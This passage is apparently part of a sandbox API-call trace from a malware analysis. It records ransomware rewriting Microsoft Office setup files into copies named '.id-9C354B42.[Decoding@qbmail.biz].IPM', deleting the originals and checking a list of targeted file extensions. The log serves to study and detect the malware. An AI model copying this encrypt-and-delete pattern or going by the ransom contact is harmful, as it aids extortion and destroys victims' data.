[0083.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0084.307] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=67190) returned 1 [0084.307] CloseHandle (hObject=0x1c0) returned 1 [0084.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0084.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0084.318] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.318] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0084.319] GetLastError () returned 0x0 [0084.319] ReadFile (in: hFile=0x1c0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x10676, lpOverlapped=0x0) returned 1 [0084.447] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0084.451] ReadFile (in: hFile=0x1c0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0084.452] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0084.452] SetEndOfFile (hFile=0x1bc) returned 1 [0084.452] CloseHandle (hObject=0x1bc) returned 1 [0084.454] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.454] SetEndOfFile (hFile=0x1c0) returned 1 [0084.457] CloseHandle (hObject=0x1c0) returned 1 [0084.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0084.458] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0084.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.458] lstrlenW (lpString=".doc") returned 4 [0084.458] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0084.458] lstrlenW (lpString=".docx") returned 5 [0084.458] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0084.458] lstrlenW (lpString=".pdf") returned 4 [0084.458] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0084.459] lstrlenW (lpString=".xls") returned 4 [0084.459] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0084.459] lstrlenW (lpString=".xlsx") returned 5 [0084.459] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0084.459] lstrlenW (lpString=".ppt") returned 4 [0084.459] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0084.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.459] lstrlenW (lpString=".zip") returned 4 [0084.459] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0084.459] lstrlenW (lpString=".rar") returned 4 [0084.459] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0084.459] lstrlenW (lpString=".bz2") returned 4 [0084.459] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0084.459] lstrlenW (lpString=".7z") returned 3 [0084.459] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0084.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.459] lstrlenW (lpString=".dbf") returned 4 [0084.459] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0084.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.460] lstrlenW (lpString=".1cd") returned 4 [0084.460] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0084.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.460] lstrlenW (lpString=".jpg") returned 4 [0084.460] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0084.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.460] lstrlenW (lpString=".doc") returned 4 [0084.460] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0084.460] lstrlenW (lpString=".docx") returned 5 [0084.460] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0084.460] lstrlenW (lpString=".pdf") returned 4 [0084.460] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0084.460] lstrlenW (lpString=".xls") returned 4 [0084.460] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0084.460] lstrlenW (lpString=".xlsx") returned 5 [0084.460] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0084.461] lstrlenW (lpString=".ppt") returned 4 [0084.461] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0084.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.461] lstrlenW (lpString=".zip") returned 4 [0084.461] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0084.461] lstrlenW (lpString=".rar") returned 4 [0084.461] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0084.461] lstrlenW (lpString=".bz2") returned 4 [0084.461] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0084.461] lstrlenW (lpString=".7z") returned 3 [0084.461] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0084.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.461] lstrlenW (lpString=".dbf") returned 4 [0084.461] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0084.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.461] lstrlenW (lpString=".1cd") returned 4 [0084.461] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0084.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0084.461] lstrlenW (lpString=".jpg") returned 4 [0084.462] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0084.462] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0084.462] lstrlenW (lpString="Office32MUI.XML") returned 15 [0084.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0084.608] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1383) returned 1 [0084.608] CloseHandle (hObject=0x1c4) returned 1 [0084.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0084.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0084.609] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.609] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0084.728] GetLastError () returned 0x0 [0084.728] ReadFile (in: hFile=0x1c4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x567, lpOverlapped=0x0) returned 1 [0084.849] WriteFile (in: hFile=0x1d8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x570, lpOverlapped=0x0) returned 1 [0084.851] ReadFile (in: hFile=0x1c4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0084.851] WriteFile (in: hFile=0x1d8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0084.851] SetEndOfFile (hFile=0x1d8) returned 1 [0084.851] CloseHandle (hObject=0x1d8) returned 1 [0084.857] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.858] SetEndOfFile (hFile=0x1c4) returned 1 [0084.860] CloseHandle (hObject=0x1c4) returned 1 [0084.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0084.860] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0084.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.861] lstrlenW (lpString=".doc") returned 4 [0084.861] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0084.861] lstrlenW (lpString=".docx") returned 5 [0084.861] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0084.861] lstrlenW (lpString=".pdf") returned 4 [0084.861] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0084.861] lstrlenW (lpString=".xls") returned 4 [0084.861] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0084.861] lstrlenW (lpString=".xlsx") returned 5 [0084.861] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0084.861] lstrlenW (lpString=".ppt") returned 4 [0084.861] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0084.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.861] lstrlenW (lpString=".zip") returned 4 [0084.862] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0084.862] lstrlenW (lpString=".rar") returned 4 [0084.862] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0084.862] lstrlenW (lpString=".bz2") returned 4 [0084.862] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0084.862] lstrlenW (lpString=".7z") returned 3 [0084.862] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0084.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.862] lstrlenW (lpString=".dbf") returned 4 [0084.862] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0084.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.862] lstrlenW (lpString=".1cd") returned 4 [0084.862] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0084.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.862] lstrlenW (lpString=".jpg") returned 4 [0084.862] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0084.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.863] lstrlenW (lpString=".doc") returned 4 [0084.863] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0084.863] lstrlenW (lpString=".docx") returned 5 [0084.863] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0084.863] lstrlenW (lpString=".pdf") returned 4 [0084.863] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0084.863] lstrlenW (lpString=".xls") returned 4 [0084.863] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0084.863] lstrlenW (lpString=".xlsx") returned 5 [0084.863] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0084.863] lstrlenW (lpString=".ppt") returned 4 [0084.864] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0084.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.864] lstrlenW (lpString=".zip") returned 4 [0084.864] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0084.864] lstrlenW (lpString=".rar") returned 4 [0084.864] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0084.865] lstrlenW (lpString=".bz2") returned 4 [0084.865] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0084.865] lstrlenW (lpString=".7z") returned 3 [0084.865] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0084.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.865] lstrlenW (lpString=".dbf") returned 4 [0084.865] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0084.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.865] lstrlenW (lpString=".1cd") returned 4 [0084.865] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0084.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0084.865] lstrlenW (lpString=".jpg") returned 4 [0084.865] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0084.866] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0084.866] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0084.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0084.866] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=3186) returned 1 [0084.866] CloseHandle (hObject=0x1c4) returned 1 [0084.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0084.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0084.867] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.867] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0085.083] GetLastError () returned 0x0 [0085.084] ReadFile (in: hFile=0x1c4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0xc72, lpOverlapped=0x0) returned 1 [0085.229] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0085.231] ReadFile (in: hFile=0x1c4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0085.231] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0085.231] SetEndOfFile (hFile=0x204) returned 1 [0085.231] CloseHandle (hObject=0x204) returned 1 [0085.232] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.232] SetEndOfFile (hFile=0x1c4) returned 1 [0085.235] CloseHandle (hObject=0x1c4) returned 1 [0085.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.236] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0085.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.236] lstrlenW (lpString=".doc") returned 4 [0085.236] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.236] lstrlenW (lpString=".docx") returned 5 [0085.236] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0085.236] lstrlenW (lpString=".pdf") returned 4 [0085.237] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.237] lstrlenW (lpString=".xls") returned 4 [0085.237] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.237] lstrlenW (lpString=".xlsx") returned 5 [0085.237] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0085.237] lstrlenW (lpString=".ppt") returned 4 [0085.237] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.237] lstrlenW (lpString=".zip") returned 4 [0085.237] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.237] lstrlenW (lpString=".rar") returned 4 [0085.237] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.237] lstrlenW (lpString=".bz2") returned 4 [0085.237] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.237] lstrlenW (lpString=".7z") returned 3 [0085.237] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.237] lstrlenW (lpString=".dbf") returned 4 [0085.237] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.237] lstrlenW (lpString=".1cd") returned 4 [0085.237] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.238] lstrlenW (lpString=".jpg") returned 4 [0085.238] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.633] lstrlenW (lpString=".doc") returned 4 [0085.633] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.633] lstrlenW (lpString=".docx") returned 5 [0085.633] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0085.633] lstrlenW (lpString=".pdf") returned 4 [0085.633] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.634] lstrlenW (lpString=".xls") returned 4 [0085.634] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.634] lstrlenW (lpString=".xlsx") returned 5 [0085.634] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0085.634] lstrlenW (lpString=".ppt") returned 4 [0085.634] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.634] 